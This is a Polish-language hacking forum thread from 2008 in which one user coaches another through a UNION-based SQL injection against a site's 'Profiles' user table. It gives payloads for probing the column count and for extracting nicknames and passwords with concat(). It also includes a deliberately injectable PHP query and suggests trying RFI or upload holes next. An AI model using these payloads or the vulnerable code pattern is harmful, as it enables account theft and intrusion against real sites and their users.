-
different number of columns
Mam pytanie dot. SQL Injection, Próbuje użyć:
-1' union select * from Profiles where ID=1
dostaje komunikat: Database access error. Description: The used SELECT statements have a different number of columns
chodzi tu o numer, liczbe kolumn hmm.. ale po co to, skoro chce wyciągnąć wszystko czyli * ? ...
-
nie. union select musi miec taka sama liczbe kolump po obu stronach.
a wiec jesli select wyciagal 5, nie mozesz wyciagnac * (czyli wszystkich) tylko dokladnie 5.
-1' union select 0,0,0,0,0,0,0,0,nazwa_tabeli,0,0,0 from Profiles where ID=1
liczbe kolumn uzyskasz jak nie bedzie erroru, a pozycje twojej tabeli na slepo.
-
CREATE TABLE `Profiles` (
`ID` bigint(8) unsigned NOT NULL auto_increment,
`NickName` varchar(48) NOT NULL default '',
`Password` varchar(32) NOT NULL default '',
`Country` varchar(2) NOT NULL default 'US',
`City` varchar(30) default NULL,
`Headline` varchar(255) NOT NULL default '',
`DescriptionMe` mediumtext NOT NULL,
`Sex` enum('female','male') NOT NULL default 'female',
`DateOfBirth` date NOT NULL default '0000-00-00',
`Email` varchar(50) NOT NULL default '',
`EmailFlag` enum('HTML','Text','Not sure') NOT NULL default 'HTML',
`EmailNotify` enum('NotifyMe','NotNotifyMe') NOT NULL default 'NotifyMe',
`Status` enum('Unconfirmed','Approval','Active','Rejected', 'Suspended') NOT NULL default 'Unconfirmed',
`LastLoggedIn` datetime default NULL,
`LastModified` datetime NOT NULL default '0000-00-00 00:00:00',
`LastReg` datetime NOT NULL default '0000-00-00 00:00:00',
`LookingFor` enum('female','male','all') NOT NULL default 'all',
`PrimPhoto` int(11) NOT NULL default '0',
`Picture` enum('0','1') NOT NULL default '0',
`LastNavTime` datetime NOT NULL default '0000-00-00 00:00:00',
`LastNavPage` int(4) NOT NULL default '0',
`Featured` enum('0','1') NOT NULL default '0',
`aff_num` int(5) unsigned NOT NULL default '0',
`zip` varchar(23) NOT NULL default '',
`PaymentSubscription` tinyint(1) NOT NULL default '0',
`Tags` varchar(255) NOT NULL default '',
PRIMARY KEY (`ID`),
UNIQUE KEY `NickName` (`NickName`) =-1' union select * from Profiles where ID=1
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
Dane tabeli `Profiles` ..
-
mowie ci, mozesz wywalic tylko dokladna liczbe kolumn z selecta. Sprawdzaj po 1.
union ... 0 from
union ... 0,0 from
union ... 0,0 from
union ... 0,0,0 from
jak nie dostaniesz errora, to masz liczbe.
funkcja concat(id, pass, etc) polaczy ci kilka pol, char() doda jakis separator.
najpierw okersl ile pol masz po lewej stronie
-
a mógł byś prostszym jęzkiem to wszystko napisać? Bo sory, SQL nie znam. Ogólnie SQL Injection się nie zajmuje, to sytuacja wyjątkowa, to że union select po obu stronach ma miec taka sama liczbe kolumn mówi mi tyle co nic.
-
kk
<?php
mysql_connect('127.0.0.1', 'root', 'password');
$a = mysql_query('select `a`,`b`,`c` from `forum`.`tabela` where `id` = \''.$_GET['id'].'\');
while($b = mysql_fetch_row($a))printf('%s<br>', $b[0]);
?>
wyciaga 3 kolumny, podatny jesli mq = off.
a wiec dopisujesz: ' union select concat(`NickName`,char(0x20),`Password`),0,0 from `profiles` where `id` = 1 /*
wazne aby pozycje sie zgadzaly ($row[0] ma byc polem, nie zerem)
a jesli nie rozumiesz sqla, to moze poszukaj innej dziury 
a noz sie jakies rfi lub upload trafi
Ostatnio edytowane przez h3x : 05-14-2008 - 23:40
Zasady Postowania
- Nie możesz zakładać nowych tematów
- Nie możesz pisać wiadomości
- Nie możesz dodawać załączników
- Nie możesz edytować swoich postów
-
Forum Rules